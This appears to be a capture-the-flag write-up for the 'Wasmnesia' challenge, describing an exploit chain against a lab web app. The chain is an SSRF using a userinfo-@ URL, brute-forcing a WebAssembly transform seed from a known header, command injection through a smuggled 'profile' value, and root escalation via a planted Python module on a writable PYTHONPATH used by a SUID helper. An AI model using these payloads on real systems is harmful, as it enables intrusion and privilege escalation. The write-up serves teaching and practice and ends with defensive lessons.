· 4 min read

Qiangwang Quals 2026 - Wasmnesia

An SSRF with a userinfo-@ URL pulls an internal export, a WebAssembly transform is reversed and its 32-bit seed brute-forced against a known header, and the decoded audit log leads to a command-injectable redrive endpoint and a SUID helper with a writable PYTHONPATH.

Tagged: wasm, ssrf, known-plaintext, command-injection, python-path, suid

Event
Qiangwang Quals 2026
Category
rev
Difficulty
hard
Given
none — web challenge; the WASM module and export are fetched from the live instance

Summary

A web-accessible artifact fetcher, an obfuscated WebAssembly transform, and a redrive workflow chained together. Recover the internal export, reverse its transform, and follow the decoded metadata into the redrive operation for code execution, then escalate to root.

There was no downloadable handout — the WASM module and the export both come off the live instance.

1. Fetch the internal artifact (SSRF)

After logging in as reviewer@edgeledger.test, /api/v1/connectors/fetch is an SSRF primitive. The URL http://preview.reports.local@127.0.0.1:9090/... exploits a host-parsing mismatch: the allowlist sees preview.reports.local, but everything before @ is userinfo, so the request actually goes to the internal cache on 127.0.0.1:9090. That returns the mirrored formal.wexp:

url = "http://preview.reports.local@127.0.0.1:9090/cache/formal.wexp"
r = session.post(f"{BASE}/api/v1/connectors/fetch",
                 json={"url": url, "job_id": 2692446822, "tenant_tag": 3995540072})
wexp = r.content                                   # the internal export, mirrored

2. Reverse the WebAssembly transform

ledger_shift.wasm implements mix32, derive_seed and transform_batch. Reversing them showed the ARM64 host and the browser disagree about a context word, so the seed can’t simply be re-derived — but the export starts with a known EIPC header. That’s a known-plaintext check: brute-force the 32-bit transform seed until the transformed first block matches EIPC. The seed was 0x93b7218f:

def mix32(x):                                  # recovered from the wasm
    x = (x ^ (x >> 16)) & 0xffffffff
    x = (x * 0x7feb352d) & 0xffffffff
    x = (x ^ (x >> 15)) & 0xffffffff
    return x

KNOWN = b"EIPC"
for seed in range(1 << 32):                    # ~minutes; narrowed by the context word
    if transform_block(wexp[:4], seed) == KNOWN:
        break                                  # seed == 0x93b7218f
log = inverse_transform(wexp, seed)            # the decoded EIPC audit log

The decoded log discloses the redrive endpoint /api/v1/operations/redrives, the execution ID, generation, expected input hash and profile archive-jsonl.

3. Redrive injection

The redrive endpoint passes profile into a shell command without safe argument handling. Appending a command to archive-jsonl gives execution as uid=1001(ctf), with stdout in the JSON response:

session.post(f"{BASE}/api/v1/operations/redrives", json={
    "execution_id": "job-f1234001", "generation": 3,
    "profile": "archive-jsonl; id; cat /app/workspace/* 2>&1",
})                                              # stdout comes back as uid=1001(ctf)

4. Privilege escalation — writable PYTHONPATH

A SUID-root helper, /usr/local/bin/edge-health, runs Python with PYTHONPATH=/app/workspace:/opt/edge. /app/workspace is writable by ctf and comes first on the import path, so planting a replacement edge_health module there makes the privileged helper import attacker-controlled code as root:

# via the redrive RCE, as uid=1001(ctf):
cat > /app/workspace/edge_health.py <<'PY'
import os; os.setuid(0); os.system("cat /root/flag > /tmp/f; chmod 666 /tmp/f")
PY
/usr/local/bin/edge-health            # imports our module as root

Flag

flag{...}   (redacted)

Lessons

  • SSRF filters must validate the parsed destination host, not substring-match the URL.
  • Cross-runtime integer/context differences can still leave a known-plaintext check that makes a custom transform brute-forceable.
  • Shell command construction and writable import paths are separate escalation points; fixing one doesn’t fix the other.